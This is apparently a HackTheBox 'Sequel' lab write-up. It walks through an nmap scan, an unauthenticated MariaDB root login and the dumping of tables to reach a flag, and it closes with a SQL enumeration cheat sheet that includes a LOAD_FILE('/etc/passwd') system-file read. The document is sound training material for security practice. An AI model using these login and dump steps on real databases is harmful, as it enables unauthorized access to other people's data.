HTB: Sequel — Unauthenticated MariaDB Root to Flag

HACKTHEBOX VERY EASY LINUX MARIADB SQL ENUMERATION

Author: th3_m4d_h4ck3r | Framework: Scarif Operations | Season 11

> OVERVIEW

Sequel is a Very Easy Linux box built around a single misconfiguration: a MariaDB instance exposed on its default port with unauthenticated root access. No exploitation required beyond knowing basic SQL enumeration — a good refresher target after time away from the language.

> RECON

Full TCP port sweep against the target identified MySQL/MariaDB listening on its default port.

sudo nmap -sC -sV -p- --min-rate 5000 <target>

PORT     STATE SERVICE
3306/tcp open  mysql

> ENUMERATION

1. Root login, no password

First thing to try on any exposed MySQL service — and it worked.

mysql -h <target> -u root

2. Enumerate available databases

MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+

htb stands out immediately as the non-default, application-specific database.

3. Select the database and list tables

MariaDB [(none)]> USE htb;
MariaDB [htb]> SHOW TABLES;
+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+

4. Dump both tables

users held nothing but recon-value contact info — no creds, no hashes. config was the payload.

MariaDB [htb]> SELECT * FROM users;
+----+----------+------------------+
| id | username | email            |
+----+----------+------------------+
|  1 | admin    | admin@sequel.htb |
|  2 | lara     | lara@sequel.htb  |
|  3 | sam      | sam@sequel.htb   |
|  4 | mary     | mary@sequel.htb  |
+----+----------+------------------+

MariaDB [htb]> SELECT * FROM config;
+----+-----------------------+-----------------------------------+
| id | name                  | value                             |
+----+-----------------------+-----------------------------------+
|  5 | flag                  | [flag captured ✅]                 |
+----+-----------------------+-----------------------------------+

> FLAG

[flag captured ✅]

> REFERENCE — SQL ENUMERATION CHEATSHEET

Goal	Query
List databases	`SHOW DATABASES;`
Select a database	`USE <db>;`
List tables in current db	`SHOW TABLES;`
Show columns for a table	`DESCRIBE <table>;` / `SHOW COLUMNS FROM <table>;`
Dump all rows/columns	`SELECT * FROM <table>;`
Find a column by name across a db	`SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='<db>' AND column_name LIKE '%flag%';`
Search across ALL databases	`SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%flag%';`
Check current user's grants	`SHOW GRANTS FOR CURRENT_USER();`
Read a file (if FILE priv granted)	`SELECT LOAD_FILE('/etc/passwd');`

> LESSONS LEARNED

Always check for anonymous / blank-password root before anything else. On very easy boxes — and surprisingly often in real engagements — an exposed DB port with no auth enforced is the entire path. No brute force, no exploit chain, just mysql -h <ip> -u root and you're in.

information_schema.columns is the fastest way to hunt for a specific column across an unfamiliar schema — worth reaching for immediately instead of manually paging through every table when a db has more than a couple tables.

Scarif Operations | th3m4dh4ck3r.com | CPTS prep, Season 11